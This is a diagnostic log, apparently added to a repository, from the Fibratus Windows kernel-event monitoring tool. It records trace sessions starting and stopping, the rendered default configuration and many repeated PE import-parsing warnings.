+time=2025-11-11T13:40:33+01:00 level=info msg=system providers support detected source=etw/source.go:165 +time=2025-11-11T13:40:35+01:00 level=warning msg=couldn't flush trace session for [NT Kernel Logger]: ControlTrace: The instance name passed was not recognized as valid by a WMI data provider. source=etw/source.go:261 +time=2025-11-11T13:40:36+01:00 level=warning msg=couldn't stop trace session for [NT Kernel Logger]: ControlTrace: The instance name passed was not recognized as valid by a WMI data provider. source=etw/source.go:269 +time=2025-11-11T13:41:13+01:00 level=info msg=configuration file C:\Program Files\fibratus\config\fibratus.yml not found. Continuing with default settings... source=bootstrap/config.go:50 +time=2025-11-11T13:41:13+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:152 +time=2025-11-11T13:41:13+01:00 level=info msg=bootstrapping with pid 8588. Version: dev source=bootstrap/bootstrap.go:182 +time=2025-11-11T13:41:13+01:00 level=info msg=rendering config flags... + aggregator ..................... [ flush-timeout=>4s flush-period=>200ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>false] mail=>[ port=>25 enabled=>false content-type=>text/html to=>[] use-template=>true] slack=>[ enabled=>false] systray=>[ quiet-mode=>false sound=>true enabled=>true]] + api ............................ [ transport=>localhost:8080 timeout=>15s] + config-file .................... C:\Program Files\fibratus\config\fibratus.yml + debug-privilege ................ true + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\cmd\Rules\*] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\cmd\Rules\Macros\*]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + kevent ......................... [ serialize-pe=>false serialize-handles=>false serialize-envs=>true serialize-threads=>false serialize-images=>false] + kstream ........................ [ enable-audit-api=>true enable-thread=>true enable-fileio=>true enable-registry=>true max-buffers=>36 enable-dns=>true enable-vamap=>true stack-enrichment=>true min-buffers=>16 enable-mem=>true buffer-size=>512 flush-interval=>1s blacklist=>[ images=>[] events=>[]] enable-handle=>false enable-net=>true enable-image=>true] + logging ........................ [ level=>info max-size=>100 max-age=>0 max-backups=>15 log-stdout=>true formatter=>text] + output ......................... [ console=>[ enabled=>true template=> {{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Kparams }}) {{ .Callstack }} {{ .Sid }} format=>pretty] eventlog=>[ level=>info enabled=>false] http=>[ endpoints=>[] enabled=>false tls-insecure-skip-verify=>false serializer=>json enable-gzip=>false method=>POST timeout=>5s] elasticsearch=>[ enabled=>false healthcheck-interval=>10s gzip-compression=>false timeout=>5s sniff=>false healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] healthcheck=>true index-name=>fibratus flush-period=>1s trace-log=>false template-name=>fibratus bulk-workers=>1] amqp=>[ tls-insecure-skip-verify=>false durable=>false exchange-type=>topic routing-key=>fibratus timeout=>5s vhost=>/ delivery-mode=>transient exchange=>fibratus passive=>false enabled=>false url=>amqp://localhost:5672]] + pe ............................. [ excluded-images=>[] read-sections=>false read-symbols=>false enabled=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false kparams=>[]] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-files=>true excluded-procs=>[] fastscan=>true alert-via=>mail alert-template=>[] scan-timeout=>10s excluded-files=>[] enabled=>false] source=bootstrap/bootstrap.go:183 +time=2025-11-11T13:41:13+01:00 level=info msg=system providers support detected source=etw/source.go:165 +time=2025-11-11T13:41:15+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:224 +time=2025-11-11T13:41:15+01:00 level=info msg=starting [System Registry Logger] trace processing source=etw/source.go:224 +time=2025-11-11T13:41:15+01:00 level=info msg=starting [DNS Client Logger] trace processing source=etw/source.go:224 +time=2025-11-11T13:41:15+01:00 level=info msg=starting [Kernel Audit API Calls Logger] trace processing source=etw/source.go:224 +time=2025-11-11T13:41:18+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T13:41:18+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:235 +time=2025-11-11T13:41:19+01:00 level=info msg=stopping [System Registry Logger] trace processing source=etw/source.go:235 +time=2025-11-11T13:41:20+01:00 level=info msg=stopping [DNS Client Logger] trace processing source=etw/source.go:235 +time=2025-11-11T13:41:21+01:00 level=info msg=stopping [Kernel Audit API Calls Logger] trace processing source=etw/source.go:235 +time=2025-11-11T13:50:40+01:00 level=info msg=configuration file C:\Program Files\fibratus\config\fibratus.yml not found. Continuing with default settings... source=bootstrap/config.go:50 +time=2025-11-11T13:50:40+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:152 +time=2025-11-11T13:50:40+01:00 level=info msg=bootstrapping with pid 9336. Version: dev source=bootstrap/bootstrap.go:182 +time=2025-11-11T13:50:40+01:00 level=info msg=rendering config flags... + aggregator ..................... [ flush-period=>200ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ enabled=>false to=>[] content-type=>text/html use-template=>true port=>25] systray=>[ sound=>true enabled=>true quiet-mode=>false] eventlog=>[ verbose=>false enabled=>true]] + api ............................ [ timeout=>15s transport=>localhost:8080] + config-file .................... C:\Program Files\fibratus\config\fibratus.yml + debug-privilege ................ true + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\cmd\Rules\Macros\*]] rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\cmd\Rules\*] enabled=>true]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + kevent ......................... [ serialize-images=>false serialize-envs=>true serialize-handles=>false serialize-threads=>false serialize-pe=>false] + kstream ........................ [ enable-vamap=>true enable-handle=>false buffer-size=>512 flush-interval=>1s enable-audit-api=>true enable-dns=>true blacklist=>[ images=>[] events=>[]] max-buffers=>36 enable-fileio=>true enable-mem=>true enable-net=>true min-buffers=>16 enable-thread=>true enable-image=>true enable-registry=>true stack-enrichment=>true] + logging ........................ [ level=>info max-size=>100 log-stdout=>true formatter=>text max-age=>0 max-backups=>15] + output ......................... [ http=>[ endpoints=>[] method=>POST tls-insecure-skip-verify=>false enable-gzip=>false serializer=>json enabled=>false timeout=>5s] elasticsearch=>[ timeout=>5s bulk-workers=>1 index-name=>fibratus template-name=>fibratus servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s healthcheck-timeout=>5s healthcheck=>true sniff=>false gzip-compression=>false flush-period=>1s trace-log=>false enabled=>false] amqp=>[ delivery-mode=>transient durable=>false timeout=>5s exchange-type=>topic enabled=>false tls-insecure-skip-verify=>false vhost=>/ url=>amqp://localhost:5672 passive=>false routing-key=>fibratus exchange=>fibratus] console=>[ template=> {{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Kparams }}) {{ .Callstack }} {{ .Sid }} format=>pretty enabled=>true] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-sections=>false read-symbols=>false enabled=>false excluded-images=>[] read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ kparams=>[] enabled=>false]] + yara ........................... [ enabled=>false excluded-procs=>[] scan-timeout=>10s alert-template=>[] skip-files=>true fastscan=>true alert-via=>mail excluded-files=>[]] source=bootstrap/bootstrap.go:183 +time=2025-11-11T13:50:40+01:00 level=info msg=system providers support detected source=etw/source.go:165 +time=2025-11-11T13:50:43+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:224 +time=2025-11-11T13:50:43+01:00 level=info msg=starting [System Registry Logger] trace processing source=etw/source.go:224 +time=2025-11-11T13:50:43+01:00 level=info msg=starting [DNS Client Logger] trace processing source=etw/source.go:224 +time=2025-11-11T13:50:43+01:00 level=info msg=starting [Kernel Audit API Calls Logger] trace processing source=etw/source.go:224 +time=2025-11-11T13:50:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 